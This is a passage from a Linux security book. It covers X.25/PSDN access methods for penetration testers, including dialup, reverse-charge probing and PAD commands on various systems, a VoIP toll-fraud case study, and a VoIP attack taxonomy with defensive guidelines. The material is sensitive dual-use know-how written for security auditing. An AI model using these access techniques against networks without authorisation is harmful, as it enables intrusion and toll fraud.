Hacking Exposed Linux: Linux Security Secrets & Solutions
Zone
Country/Region
457
Lao People’s Democratic Republic
460
China (People’s Republic of)
466
Taiwan, China
467
Democratic People’s Republic of Korea
470
Bangladesh (People’s Republic of)
472
Maldives (Republic of)
480
Korea (Republic of)
481
Korea (Republic of)
ZONE 5 502
Malaysia
505
Australia
510
Indonesia (Republic of)
515
Philippines (Republic of the)
520
Thailand
525
Singapore (Republic of)
528
Brunei Darussalam
530
New Zealand
534
Northern Mariana Islands (Commonwealth of the)
535
Guam
536
Nauru (Republic of)
537
Papua New Guinea
539
Tonga (Kingdom of)
540
Solomon Islands
541
Vanuatu (Republic of)
542
Fiji (Republic of)
543
Wallis and Futuna (French Overseas Territory)
544
American Samoa
545
Kiribati (Republic of)
546
New Caledonia (French Overseas Territory)
547
French Polynesia (French Overseas Territory)
548
Cook Islands
549
Western Samoa (Independent State of)
Chapter 6:
Zone
Country/Region
550
Micronesia (Federated States of)
Unconventional Data Attack Vectors
ZONE 6 602
Egypt (Arab Republic of)
603
Algeria (People’s Democratic Republic of)
604
Morocco (Kingdom of)
605
Tunisia
606
Libya (Socialist People’s Libyan Arab Jamahiriya)
607
Gambia (Republic of the)
608
Senegal (Republic of)
609
Mauritania (Islamic Republic of)
610
Mali (Republic of)
611
Guinea (Republic of)
612
Côte d’Ivoire (Republic of)
613
Burkina Faso
614
Niger (Republic of the)
615
Togolese Republic
616
Benin (Republic of)
617
Mauritius (Republic of)
618
Liberia (Republic of)
619
Sierra Leone
620
Ghana
621
Nigeria (Federal Republic of)
622
Chad (Republic of)
623
Central African Republic
624
Cameroon (Republic of)
625
Cape Verde (Republic of)
626
Sao Tome and Principe (Democratic Republic of)
627
Equatorial Guinea (Republic of)
628
Gabonese Republic
629
Congo (Republic of the)
630
Zaire (Republic of)
631
Angola (Republic of)
171
172
Hacking Exposed Linux: Linux Security Secrets & Solutions
Zone
Country/Region
632
Guinea-Bissau (Republic of)
633
Seychelles (Republic of)
634
Sudan (Republic of the)
635
Rwandese Republic
636
Ethiopia (Federal Democratic Republic of)
637
Somali Democratic Republic
638
Djibouti (Republic of)
639
Kenya (Republic of)
640
Tanzania (United Republic of)
641
Uganda (Republic of)
642
Burundi (Republic of)
643
Mozambique (Republic of)
645
Zambia (Republic of)
646
Madagascar (Republic of)
647
Reunion (French Department of)
648
Zimbabwe (Republic of)
649
Namibia (Republic of)
650
Malawi
651
Lesotho (Kingdom of)
652
Botswana (Republic of)
653
Swaziland (Kingdom of)
654
Comoros (Islamic Federal Republic of the)
655
South Africa (Republic of)
ZONE 7 702
Belize
704
Guatemala (Republic of)
706
El Salvador (Republic of)
708
Honduras (Republic of)
710
Nicaragua
712
Costa Rica
714
Panama (Republic of)
716
Peru
Chapter 6:
Zone
Country/Region
722
Argentine Republic
724
Brazil (Federative Republic of)
725
Brazil (Federative Republic of)
730
Chile
732
Colombia (Republic of)
734
Venezuela (Republic of)
736
Bolivia (Republic of)
738
Guyana
740
Ecuador
742
Guiana (French Department of)
744
Paraguay (Republic of)
746
Suriname (Republic of)
748
Uruguay (Eastern Republic of)
Unconventional Data Attack Vectors
KEY POINTS FOR GETTING X.25 ACCESS The penetration tester needs to know how to access the PSDN network in order to perform the X.25 penetration test. Since there are many ways to access the network, this section gives a quick overview of each of them.
X.28 Dialup with NUI Among penetration testers, X.28 dialup is the most common way to access PSDN networks. They use this method because penetration testing companies may not have direct X.25 access, meaning an X.25 card connected to a system (Linux, Cisco, Sun Solaris, or other) and an active X.25 subscription to their local X.25 carrier. To perform an X.28 connection all you need is • A machine equipped with a (good) terminal emulator • a modem • a telephone line • An active NUI • The X.28 dialup phone number NUI stands for Network User Identifier. This is the login access for the X.25 network. The NUI will identify the X.25 calls, and every call made will be billed to the NUI, resulting in a monthly bill from your X.28 NUI subscription.
173
174
Hacking Exposed Linux: Linux Security Secrets & Solutions
To connect to the X.28 PAD, you need to start a terminal emulator and configure it to E71 (or 8N1 with the strip high-bit function activated). Minicom will satisfy this very basic need. Then you will dial the X.28 dialup phone number that your NUI will work on, for example, atdt0651558934 Connected 2400/MPN5 ACP Roma Colombo 28 *
Usually, the X.28 PAD prompt is represented by an asterisk in most countries, even if on other X.25 networks, it varies (for example, @ on SprintNet). Then you insert your NUI and a - followed by the NUA (or the X.121 address) you want to establish a call with, without spaces. Also, in this case, the syntax may vary. For these examples we’ve used the most common one among worldwide PADs. ACP Roma Colombo 28 *N-0208057040540 ACP:COM
As you can see, the NUI will not appear on screen for obvious security reasons. ACP:COM means that the request has been satisfied and the link established.
X.28 Dialup via Reverse Charge Before calling the host to be tested with your NUI (or via your direct X.25 link), you may want to see if the remote DTE accepts reverse-charge calls. Your customer may not be aware of this network configuration, and you would want to note this in your security report. In this case, the syntax and procedure are the same as for an X.28 call using an NUI, except you won’t insert an NUI but only the NUA (or the full X.121 address, if your X.25 carrier supports the international reverse-charge facility) you want to test. SprintNet, by default, allows international reverse-charge in their subscription contracts. That’s why their X.25 network is scanned so extensively from all over the world, especially from Russia and South America.
Private X28 PAD via a Standard or Toll-Free PSTN or ISDN Number When performing PBX security scanning, you may encounter private X.25 PADs connected to the PBX itself, rather than connected to toll-free numbers. This issue is an important one since attackers do perform mass toll-free numbering scans in order to find free access to public and private data networks.
Chapter 6:
Unconventional Data Attack Vectors
The main issue for the penetration tester is to realize that you’ve encountered an X.25 PAD and, most of all, to understand the way it works. Once you have set the correct connection parameters on your terminal emulator (E71 or 8N1), in order to get a correct answer from the remote system, study the error messages you receive to see if you encounter a PAD or not. The hardest part is to obtain the PAD and make a successful X.25 call. First of all, make sure the X.25 NUA works, so you can try to call it and get the answer code. You can also use commands such has help, ?, call, pad, and so on.
Internet to X.25 Gateways The same rules just explained are valid for the Internet to X.25 gateways. Most common PADs of this kind are VCX, standard X.3 PADs (using a * as a prompt), CDC, GS/1, and those “anonymous” ones, where the call syntax is usually C [X.25 or X.121 address].
Cisco Systems Typing the command show interfaces on a Cisco IOS will allow you to check if some of the serial interfaces have an assigned NUA, so that the Cisco IOS can perform X.25 calls to public or private X.25 networks. The IOS command to make X.25 calls is pad. The penetration tester will also find the show x25 map command useful because it lists the network maps between the IP and the X.25 world: This is commonly found when analyzing private X.25 networks, but can be found as well on public X.25 networks. Another useful command is sh x25 route, which lists the X.25 routings managed by the Cisco; these routings can be related to data, voice, or other kind of information. If you have the enable password for the Cisco IOS, analyzing its whole configuration (show run or show conf) will allow you to study the X.25 configuration of the box.
VAX/VMS or AXP/OpenVMS If, during a penetration test, you obtain access to VAX/VMS or AXP/OpenVMS machines, check whether they are connected to X.25 networks. To perform an X.25 call, use the set host/x29 [NUA] command. On those systems prior to OpenVMS 6.0, as well as on all the VMS machines, you may find the NCP utility useful for obtaining additional information related to X.25 networks. Running NCP (MCR NCP) will launch the NETACP .EXE program. At the NCP> prompt, type the commands SHOW KNOWN DTE, SHOW KNOWN CIRCUIT, and SHOW KNOWN LINE to obtain detailed information about the X.25 address, circuits, and line for the *VMS machine.
175
176
Hacking Exposed Linux: Linux Security Secrets & Solutions
*NIX Systems During *NIX systems security testing, you may also encounter a specific OS with an X.25 card installed and a working X.25 link. The commands for performing X.25 calls are different for each OS. The following is a list of those most known for having X.25 PAD delivered with the operating system: • DG/UX (Data General Aviion) Use the pad command with the syntax pad 'nua'. If you start the pad program by itself, you will see the prompt PAD:. In this case the correct syntax to use is C 'nua' or C A.'nua'. The X.25 configuration files can be found in /usr/opt/x25/, whereas the default PAD parameters are in /usr/opt/x25/etc/x3defaults. These may be useful in case you encounter receiving problems due to the X.25 PAD settings on systems with a custom configuration. • IBM AIX
Use the PAD command xu. The correct syntax is xu 'nua'.
• SCO UNIX SYSTEM V Use the PAD command xpad –d 'nua'. Note that if you do not specify the -d flag, your outgoing X.25 call will not work. • SUN OS/ SUN SOLARIS If SunLink software is installed on the box, use the command pad with the syntax pad –t 0 'nua'. You can find useful configuration files in /opt/SUNWconn/bin/pad and /opt/SUNWconn/x25/ bin/pad. • Unix BULL PAD As you may realize from this OS's distribution name (working on BULL servers DPS and DPX series), the X.25 call command is pad A'.nua'' or pad. In this last case, at the prompt, type C A.'nua' for DG/UX systems. On older releases of this OS, use the tpad command. • HP-UX To launch the X.25 PAD use the padem. Once executed, you will obtain the standard X.3 PAD prompt (*). Insert the NUA you want to call. • DIGITAL ULTRIX
On this OS, use the PAD command x29login.
On other OS and/or Linux distributions, launch the command find / -name '*pad*' –print to discover all the possible different executable names (tpad, lpad, cpad, padem, pademu).
SUMMARY Adopting new technology does not automatically make you immune to old dangers. Although the Internet may be the most likely attack vector in today’s IT world, the old attacks still pose a real threat. Old-fashioned PSTN, ISDN, and PSDN connections still reach deep into almost all modern networks. Today’s security professionals may believe that keeping their knowledge up to date is the most important factor in keeping their networks secure, but a good understanding of past dangers is a great asset.
Chapter 6:
Unconventional Data Attack Vectors
The most important step in eliminating these risks is to acknowledge that they exist. All connections between an internal network and the outside world are potential points of attack and should be secured according to a consistently applied security policy. An analog modem may seem to be an unlikely target, so a busy security professional might overlook it, but a patient attacker will not.
CASE STUDY Rapid Red Services, Inc., was quite happy with its newfound savings ever since they switched all long distance to Teletrinity, the regional VoIP provider. The business case for VoIP turned out to be an easy sell. However, when the latest bill ended up on Glen Smith’s desk, he knew something wasn’t right. As CIO, Smith knew such problems could run deep. He had been in the business long enough to know there were no such things as ghosts in the machine. And there was just no way the company’s VoIP usage increased by 1000 percent in just one month. Hackers had to be involved. While his team dealt with the technical problem, Smith dealt directly with the billing problem. However, as Smith originally suspected, Teletrinity denied any wrongdoing and refused to issue a refund. The company claimed the calls were authenticated legitimately on Rapid Red’s trunk line and seemed to come out of its office. So to get to the root of the problem, Smith had to go back to his security team. The Rapid Red security team consisted of security specialists from various backgrounds, but none in VoIP, so they called in an expert. The expert needed little time to understand the issue and discover the source of the problem. He explained that Teletrinity acts as the local partner and wholesale reseller of VoIP “minutes” and card services for several tier 1 VoIP peering providers. The Teletrinity infrastructure uses equipment from the major VoIP vendors, some of whom lock their clients into a proprietary environment they control so they can log in remotely to their clients’ systems as root, although the clients could only access the system through an unprivileged interface. He also explained that he had heard rumors of staff from these vendors’ Eastern European offices abusing their knowledge of remote access procedures to compromise a customer’s infrastructure. Such rumors had been, of course, denied by the vendors, yet they hadn’t provided an alternative explanation for some of the strange billing issues occurring in their systems. After a few days of tests and verification on the VoIP infrastructure that they leased from Teletrinity, the VoIP expert concluded that the security was based on the worst of the “obscurity” doctrine. The VoIP equipment vendor’s idea of security was to remove execute permissions on tools such as w and who and to change the root password every few hours with a known sequence that only they could know about. Furthermore, after seeking out VoIP hackers on IRC and SILC, the VoIP expert noted the fact that software deployed by Teletrinity is routinely cracked by pirates who resell it at a fraction of its outrageously high selling price. At this point, Smith knew that Teletrinity would not be of any help since the company could not help themselves, and he procured the expert to perform deeper forensic investigations into the equipment. Cracking open the infrastructure did violate the terms of the contract, but this was also something he knew the Teletrinity engineers would only try to cover up if they could. He needed the smoking gun to better protest the costs. The expert soon discovered that an unauthorized intruder had obtained privileged access to the main Teletrinity gateway processing Rapid Red calls. The intruder knew VoIP equipment internals and was able to remove her tracks by deleting relevant Call
180
Detail Records from the platform and removing traces of her actions in the logs. He could not tell the origin of the attack vector used to compromise the system without hacking the the gateway himself. However, he could identify the initial attack vector. The web server logs showed intensive brute-force attempts to discover valid usernames of corporate clients. The PIN code protecting the client accounts had also been bruteforced, and in both cases the company had used obvious combinations of the two that could be easily discovered by brute-forcing tools. Yet the latest incident showed that someone was able to access the VoIP equipment with the highest privileges and compromise the platform with ease. This was no random hacking. Once the platform was compromised, the intruder was able to route traffic through it. At the time this traffic was routed using Rapid Red’s trunk line, resulting in a massive increase in billable records. The tactic of such VoIP hackers is to max out the hacked platform capacity by offering cheap routes on the global VoIP wholesale market. This market is very dynamic with hundreds of players coming and going. It escapes any regulatory authority and as such is not accountable to any standards or government regulator. The players of those markets will, in turn, resell the routes they negotiate on the marketplace to smaller players who, in turn, resell the minutes to Internet cafes and VoIP service providers that, in turn, sell the VoIP services and minutes to the final users, residential or corporate. In any case, it is a maze of short-term deals, shady contracts, and alternative payment systems—simply put, a law enforcement nightmare, as the number of legal jurisdictions in such crimes overlap national boundaries and make it virtually impossible to identify and prosecute perpetrators successfully. Smith knew that chasing down any possible leads the expert proposed made no sense. Even if he could determine who the attacker was, she would be out of reach of any law enforcement officers even if he could find those IT-savvy enough to take the case. Smith compiled the papers he needed to get Teletrinity to correct the billing error and put them in a large envelope. He knew that even if Teletrinity reduced the billing charges, it had cost him an equal amount in hours to contest it, which meant he could not afford to be dependent upon another prepackaged solution again. He called his team together and proposed they build their own VoIP infrastructure immediately from open sources with a strong focus on security.
181
182
Hacking Exposed Linux: Linux Security Secrets & Solutions
V
oice over IP (VoIP) refers to the transmission of speech over the Internet or through any other IP data network. Its architecture is very different than traditional circuitswitched telephony, even though it serves the same purpose. In classic telephony, each conversation has a private physical circuit and a dedicated infrastructure that solely governs its transmission. In VoIP environments, voice and signaling are multiplexed and travel as normal data inside regular packet-switched IP networks. The VoIP solution is conceptually superior to traditional Public Switched Telephone Network (PSTN) phone lines in many ways. It provides a cheaper and clearer alternative, and because of that, it will most likely capture a significant portion of the telephony market. Indeed, the VoIP feature that has attracted the most attention is its cost-saving potential. By moving away from the public-switched telephone networks, long-distance phone calls become very inexpensive. VoIP is also cost effective because all of an organization’s electronic traffic (phone and data) can be converged into one physical network, bypassing the need for separate Private Branch eXchange (PBX) lines. Although the initial startup cost is significant, substantial savings can definitely result from managing only one network and eliminating the need to sustain a legacy telephony system in an increasingly Internet-centered world. The flexibility of VoIP systems is attractive, but the integration of security measures into this still-evolving technology is very complex. VoIP conversations, encoded with an appropriate Compression/Decompression (CoDec) algorithm and streamed over traditional networks, behave as normal IP data, but at the same time they must obey the rules imposed by classic telephony in terms of quality of service and availability. Developing a robust architecture that respects these constraints is not an easy task, and the fact that VoIP is still a relatively young technology makes it even more difficult. Although a true standard will probably emerge in the near future, as of today you can choose from many different architectures and protocols. Since a widely used open standard has yet to be developed, VoIP solutions are likely to include a number of proprietary elements, which adds uncertainty to the strength of this new technology and can limit an organization’s future choices. This chapter introduces the challenges of auditing and securing converging voice and data networks for Linux users and outlines steps needed to help secure an organization’s VoIP infrastructure.
VOIP ATTACK TAXONOMY VoIP is subject to security issues inherited from both data networks and telephony. Classic telephony security attacks involving signaling protocol manipulations have their counterparts in VoIP, and the main purpose of the attackers remains the same—fraud. On the other hand, data networks’ security issues are far more complex and offer larger avenues of attack than traditional phreaking. From physical to application layer, all network security items are relevant to VoIP security. In terms of exposure, the transport of voice data over the Internet multiplies the attack surface and will surely lead to more attacks against this technology. Furthermore, the synergies of the two conflicting aspects
Chapter 7:
Voice over IP
of VoIP emerge to add new threats such as denial of service (DoS) based on signaling protocols. Before introducing some of the potential attack vectors in a VoIP environment, we will detail the specific threats such an environment is commonly subject to. This discussion is important because the varieties of threats faced by an organization determine its priorities in securing its communications equipment. That is, not all threats are present in all organizations: A commercial firm may be concerned primarily with toll fraud, whereas a government agency may need to prevent disclosure of sensitive information because of privacy or national security concerns. Information security requirements are usually broadly categorized into the following three types: • Confidentiality Keeping information secure and private. This includes sensitive data and security-related information such as passwords, either stored on computers or traveling across networks. • Integrity Information must remain unaltered by unauthorized users. Telecommunication switches must protect the integrity of their system data and configuration to prevent deleterious modification, destruction, deletion, or disclosure of switch software and data. • Availability Information and services must be available for use when needed. Availability is the most obvious risk for a switch. Attacks exploiting vulnerabilities in the switch software or protocols may lead to deterioration or even complete disruption of functionality. Applying the Confidentiality/Integrity/Availability (CIA) paradigm to VoIP technology gives rise to the specific security threats commonly faced by VoIP infrastructures. Toll Fraud Whether in the form of the consumer attempting to defraud the telephone company, the telephone company attempting to defraud the consumer, or a third party attempting to defraud either of them, fraud has been a part of the telephone system almost from the beginning. As previously mentioned, VoIP has inherited this threat specific to classic phone networks. Intruders performing attacks aimed at call fraud abuse a VoIP infrastructure to place free or cheap phone calls, which may additionally seem to originate from legitimate users inside the attacked VoIP network (see “Caller ID Spoofing”). Even worse, many ongoing attacks are not meant to simply defraud a VoIP operator; they may also become huge money-making opportunities because intruders can set up their own VoIP gateway and create a trunk using stolen credentials. This trunk can later be resold to other providers on the open market, many of whom are not aware of its fraudulent nature. Call Eavesdropping and Tracing Eavesdropping is defined as the intercepting of conversations by unintended recipients. With conventional telephones, eavesdropping usually requires either physical access to a tap line or penetration of a switch. Subsequently, conventional PBXs have fewer access points than VoIP systems. Eavesdropping is less likely in this scenario due to the lack of entry points and the increased chances of getting
183
184
Hacking Exposed Linux: Linux Security Secrets & Solutions
caught should an intruder attempt physical access. Opportunities for eavesdropping on VoIP systems are more abundant because of the many nodes in a packet-switched network. An intruder seeking confidential information will perform specific attacks to listen to unencrypted phone conversations meant to be private. Needless to say, eavesdropping can have important and unexpected consequences for an organization. A related threat is call tracing. In this scenario the attacker is not interested in the actual content of the conversations, but only in the identities of the sources and destinations of calls, the duration of the calls, and the amounts billed, along with other similar Call Detail Records (CDR) information. Call Hijacking In both traditional and VoIP telephony, call hijacking refers to one of the intended endpoints of a conversation being exchanged with the attacker. A typical scenario involves the so-called man in the middle (MITM) attack. An intruder is able to read, insert, and modify at will messages between two parties without either party knowing the link between them has been compromised. In a VoIP environment, call hijacking may have consequences similar to call eavesdropping, but it also impacts the integrity of the communications. Caller ID Spoofing Caller ID is a telephony intelligent network service that transmits the caller’s telephone number (and sometimes the caller’s name) to the called party’s telephone equipment before the call is answered. In the context of network security, a spoofing attack is a situation where one person or program successfully masquerades as another by falsifying data and thereby gains an illegitimate advantage. This type of attack is usually easier to carry out with VoIP than with traditional telephony. The ability to forge an arbitrary caller ID may help bypass some authentication mechanisms and may facilitate social engineering attacks. For these reasons, it can have important consequences for the security of an organization. Denial of Service In the context of network security, a denial of service (DoS) attack is an attempt to make a computer or network service resource unavailable to its intended users. DoS attacks can target VoIP infrastructures and data networks, in general, from the physical to the application layer. They can take two main forms: floods (where a network, system, or service is overwhelmed by a larger and stronger source) and disruptions (where a system or service is forced to reset, or where network configuration information, such as routing parameters, is tampered with). Any network may be vulnerable to DoS attacks, but the problem is exacerbated with VoIP technology because of its high sensitivity to packet loss or delay. In order to create a solid and coherent VoIP attack taxonomy, upon which you can build a complete framework for VoIP security auditing, we have thoroughly researched the topic and outlined a layered classification. Since VoIP is a very complex field, the divide et impera (divide and conquer, in English) approach has been adopted to simplify the task. The attacks have thus been organized into the following four broad categories (see Figure 7-1): • Network attacks
Related to the architecture of the converging networks
Chapter 7:
Voice over IP
• System attacks Aimed at both conventional equipment and VoIP network elements • Signaling attacks
Related to the signaling protocols in use (H.323, SIP, etc.)
• Transport attacks etc.)
Related to the media transport protocols in use (RTP, RTCP,
The next sections will focus on some of the potential attack vectors in a VoIP environment, along with their impact on security requirements defined by the CIA paradigm. The vulnerabilities described here are generic and may not apply to all environments and configurations, but have all been found during security audits performed on a large number of VoIP deployments. This information is not to be considered exhaustive. Some systems may have specific security weaknesses that are not covered here. Finally, new and rapidly emerging technologies and protocol designs have the ability to radically change VoIP as we know it; thus our taxonomy may become (partly) obsolete relatively soon. Nevertheless, this information should provide a good starting point for security auditors unfamiliar with VoIP technology, and be a solid reference for professionals already actively working in this field.
Figure 7-1 VoIP attack categories
185
186
Hacking Exposed Linux: Linux Security Secrets & Solutions
NETWORK ATTACKS VoIP networks depend on a large number of configurable parameters for their successful operation: IP and MAC addresses of end-user terminals, routers, firewalls, and VoIPspecific elements such as call processing components used to place and route calls. Many of these network parameters are established dynamically every time network components are restarted or added to the network. Because a network has so many locations with dynamically configurable parameters, intruders can choose from a wide array of potentially vulnerable points of attack.
Conventional IP Network Attacks Popularity:
10
Simplicity:
8
Impact: Risk Rating:
10 9
In general, all the vulnerabilities that exist in conventional wired (and wireless, if present) IP networks, from the physical to the application layer, also apply to VoIP environments. Depending on the target and the extent of intruder attacks, each requirement of the CIA paradigm may be compromised, specifically leading to toll fraud, call eavesdropping and tracing, call hijacking, caller ID spoofing, and denial of service. To learn how to prevent attacks targeting conventional IP networks, refer to Chapter 5.
Converging Networks Attacks Popularity:
6
Simplicity:
7
Impact: Risk Rating:
10 8
The unique nature of VoIP adds a number of security concerns to existing network technology. Specifically, the converging data and voice networks may introduce new avenues of attack: • VLAN hopping via terminal access configured for trunking
Exploiting phone ports that are usually
• Network sniffing Gathering information useful for enumeration and reconnaissance, such as an extension to IP address mapping
Chapter 7:
Voice over IP
• Disruption of QoS If maximum bandwidth is not enforced at switch port level • Other specific attacks aimed at lower-level protocols Discovery Protocol (CDP)
Including Cisco
Furthermore, VoIP-ready firewalls may bring some new unexpected holes, while interconnections to the traditional PSTN network may represent a juicy target for an attacker willing to play with SS7, MGCP, Megaco/H.248, and such. Finally, converging networks introduce new annoying phenomena, such as Spam over Internet Telephony (popularly known as SPIT), VoIPhishing, and VoIP War Dialing. As with conventional IP networks, the described attacks can compromise each requirement of the CIA paradigm, specifically leading to toll fraud, call eavesdropping and tracing, call hijacking, caller ID spoofing, and denial of service.
Preventing Converging Networks Attacks As has already been discussed, the integration of voice and data has made establishing a secure VoIP infrastructure a complex process that demands greater effort than needed for data-only networks. Designing, deploying, and securely operating a VoIP network is a complicated task that requires careful preparation. No easy generic solution to the described issues exists; therefore, an organization must thoroughly investigate how its network is laid out and which solution fits its needs best. With the introduction of VoIP, the need for security is compounded because two invaluable assets must be protected: your data and your voice. Protecting the security of conversations is now needed. In a conventional office telephone system, security is usually assumed because intercepting conversations requires physical access to telephone lines or compromise of the office PBX. For this reason, only particularly security-sensitive organizations bother to encrypt voice traffic over traditional phone lines. The same cannot be said for Internet-based connections. The risk of sending unencrypted data across the Internet is much more significant. Since the current Internet architecture does not provide the same physical wire security as the traditional PSTN phone lines, the key to securing VoIP is to use security mechanisms similar to those deployed in data networks (firewalls, encryption, etc.) to emulate the security level currently enjoyed by PSTN network users. The general principles of computer security are also applicable to VoIP, with some additional considerations. The following sections will investigate attacks and defenses relevant to VoIP and introduce guidelines and recommendations to provide appropriate levels of security at a reasonable cost, which will eliminate or reduce the risk of compromise. These guidelines can be classified in the following three categories: • Procedural security guidelines aimed at improving the effectiveness of security management operations • Network security guidelines aimed at improving the security of network communications
187
188
Hacking Exposed Linux: Linux Security Secrets & Solutions
• System security guidelines aimed at improving the security of network equipment, servers, and management workstations Organizations planning to deploy a VoIP infrastructure should start with the following general recommendations, recognizing that practical considerations, such as cost or legal requirements, may require adjustments for specific situations. Furthermore, where custom software is deployed, common application security guidelines (such as establishing a Software Development Life Cycle, or SDLC) must also be taken into consideration.
Procedural Security Guidelines Assess security risks carefully when deploying VoIP systems. An especially challenging security environment is created when new technologies are deployed. Organizations should consider potential issues including their level of knowledge and training in the technology, the maturity and quality of their security practices, controls, policies, and architectures, and their understanding of the associated security risks. Moreover, the integration of a VoIP system into an already congested or overburdened network could be catastrophic for an organization’s technology infrastructure. Organizations should conduct careful investigations to find out which solutions are best in terms of both functionality and security. Perform security audits regularly. Also conduct vulnerability threat assessments. Researchers continually discover and new software continually introduces new vulnerabilities. To maintain security over time and through changes, systems (including IP phones), processes, and custom application software should be tested frequently from both the network perspective (regular penetration testing aimed at obtaining remote access) and the lab environment (DoS testing and physical access to the device). In addition, deploy fraud detection measures such as billing reconciliation. VoIP providers should reconcile their CDR usage on a daily (if not hourly) basis with their peers, when possible. Review privacy and data retention requirements carefully. And do so in the presence of competent legal advisors. Although legal issues regarding VoIP are far beyond the scope of this chapter, readers should be aware that laws governing interception of VoIP lines and retention of log records may be different from those of conventional telephone systems.
Network Security Guidelines Separate voice and data on logically different networks. Do so to the greatest extent possible, disallowing VoIP protocols at the voice gateway that interface with the PSTN and implementing properly configured VLANs. If feasible, different subnets with separate IP address blocks and DHCP servers should be used for voice and data traffic to ease the incorporation of intrusion detection/prevention and VoIP firewall protection. Additionally, softphones should be employed carefully, because common workstation vulnerabilities result in unacceptably high risks for most organizations.
Chapter 7:
Voice over IP
Deploy VoIP-ready firewall technology. This allows voice traffic through stateful packet filters. A variety of protocol-dependent and independent solutions are available including application-level gateways, middleware application proxies, and the increasingly popular session border controllers. Furthermore, organizations should use additional security features and protocols provided by their VoIP systems, like H.235’s security profiles for H.323 and RFC 3261’s security features for SIP signaling, and consider deploying intrusion detection and prevention systems to monitor suspicious network activity. All these security solutions may help protect against some attacks, but the applicative security of a VoIP network should not be based solely on them. If performance is an issue, use encryption at the gateway. Do not enable it at the individual endpoints. Since most VoIP terminals are not computationally powerful enough to perform encryption, placing this burden at a central point ensures at least all voice traffic emanating from the enterprise network has been encrypted.
System Security Guidelines Use strong authentication, access control, accounting, and encryption. And do so for all remote management on critical network components (including IP phones), and develop an appropriate key management infrastructure to prevent the interception of plaintext administration sessions. If practical, avoid using remote management at all to prevent unauthorized access, and perform VoIP network administration from a physically secure system.
SYSTEM ATTACKS VoIP systems take a wide variety of forms. Just about any personal computer is capable of providing VoIP. The Linux platform, in particular, offers a large number of VoIP applications to choose from. In general, the term VoIP is associated with equipment that provides the ability to dial telephone numbers and communicate with parties who have either a VoIP terminal or a traditional analog telephone on the other end of the connection. Increasing demand for VoIP services has resulted in a broad array of end-user products, including: • Traditional telephone handsets Usually these units have extra features beyond a simple handset with dial pad. For instance, many have a small LCD screen that may provide browsing, instant messaging, or a telephone directory. They can also be used when configuring the handset to gain access to enhanced features such as conference calls. • Mobile units Although wireless VoIP products may present additional security challenges if not carefully configured, they are becoming more and more popular—especially since many organizations already have an installed base of 802.11 WiFi networking equipment.
189
190
Hacking Exposed Linux: Linux Security Secrets & Solutions
• Softphones With a headset, software, and inexpensive connection service, any workstation can be used as a VoIP unit, often referred to as a softphone. If practical, softphone systems should be avoided where security and privacy are a serious concern. Common software vulnerabilities in personal computers result in unacceptably high risks in the use of softphones. Moreover, using a softphone system conflicts with the need to separate voice and data networks to the greatest extent practical (see the previous “Preventing Converging Networks Attacks” section). In addition to end-user units, other network elements commonly used in VoIP infrastructures include: • Media gateways (MGs) These represent the interface between circuitswitched networks and IP networks. MGs focus on the audio signal translation function, performing analog/digital conversion, call origination and reception, and quality improvement functions such as compression or echo cancellation. • Media gateway controllers (MGCs) These handle the signaling data between the MGs and other network components such as H.323 gatekeepers or SIP servers, or toward SS7 signaling gateways. A single MGC can control multiple MGs, which leads to cost reductions when deploying larger systems. • Firewalls and session border controllers (SBCs) Whether securing a LAN, encapsulating a DMZ, or just providing protection to a single computer, a firewall is usually the first line of defense against external attackers in today’s IP networks. As previously explained, the introduction of firewalls to VoIP networks complicates several aspects of VoIP, most notably communications on dynamic ports and call setup procedures. To overcome some of the problems that firewalls and NAT cause for VoIP, SBCs can be used to exert control over the signal and media streams involved in setting up, conducting, and tearing down calls. Additionally, they can also perform the function of application-level gateways and control the types of calls that can be placed through the networks where they reside. • Conventional network services and equipment VoIP deployments also need some traditional network services, such as DNS, DHCP, TFTP, SNMP, LDAP, and more. Furthermore, regardless of the type of traffic they carry, all IP networks rely on conventional network equipment—namely switches, routers, and possibly wireless access points. Finally, depending on the signaling standard of choice, other specialized equipment may be deployed, such as call processors, call managers, gateways, backend servers, etc. These special devices, along with their role in the call setup process, will be detailed in the section “VoIP Network Elements Attacks,” later in this chapter. Of course, the vulnerabilities in VoIP encompass the flaws inherent not only within the VoIP equipment itself, but also in the underlying operating systems, applications,
Chapter 7:
Voice over IP
and protocols on which VoIP depends. Therefore, the following two broad classes of attacks targeting devices and network services in VoIP environments have been identified.
Conventional Services and Equipment Attacks Popularity:
10
Simplicity:
7
Impact: Risk Rating:
10 9
Regardless of the type of traffic they carry, IP networks need • Standard equipment, such as switches, routers, wireless access points, etc. • Conventional services, such as DNS, DHCP, TFTP, SNMP, LDAP, backend databases, web applications, etc. • Monitoring and management workstations All these components may be affected by vulnerabilities related to their software and configuration, thus allowing an intruder to perform both server-side and client-side exploits, potentially compromising each requirement of the CIA paradigm. Depending on the target and the extent of attacks, this may lead to toll fraud, call eavesdropping and tracing, call hijacking, caller ID spoofing, and denial of service. To learn how to prevent attacks targeting conventional IP services and equipment, refer to Chapter 5.
VoIP Network Elements Attacks Popularity:
7
Simplicity:
8
Impact: Risk Rating:
10 8
The most widely used competing standards for VoIP signaling are the International Telecommunication Union Standardization Sector’s (ITU-T) H.323 and the Internet Engineering Task Force’s (IETF) Session Initiation Protocol (SIP). Initially H.323 was the most popular protocol, though its popularity has decreased and some believe that SIP will become dominant. Until a truly dominant standard emerges, however, organizations moving to VoIP should probably consider both H.323 and SIP. For this reason, in the next sections we will introduce both specifications, describing the equipment deployed in common VoIP architectures.
191
192
Hacking Exposed Linux: Linux Security Secrets & Solutions
H.323 Architecture H.323 is the ITU-T specification for audio and video communication across packet networks. It is actually a wrapper standard, encompassing several protocols, including H.225, H.245, and others. Each of these protocols has a specific role in the call setup process. All of them are binary protocols based on the ASN.1 standard, and all but one work on dynamic ports. An H.323 network (see Figure 7-2) is usually made up of several endpoints known as terminals, a gateway, and possibly a gatekeeper, a backend service (BES), and a multipoint control unit (MCU). The gateway serves as a bridge between the H.323 network and the outside world of non-H.323 devices. This includes both SIP and traditional PSTN networks. The gatekeeper is an optional, but widely used, component of a VoIP network. It is often one of the main components in H.323 architectures, providing address resolution and bandwidth control. If a gatekeeper is present, a backend service may also exist to maintain data about endpoints, including their permissions, services, and configuration. Finally, a multipoint control unit is another optional network element that facilitates multipoint conferencing and other communications between more than two endpoints.
Figure 7-2 H.323 architecture
Chapter 7:
Voice over IP
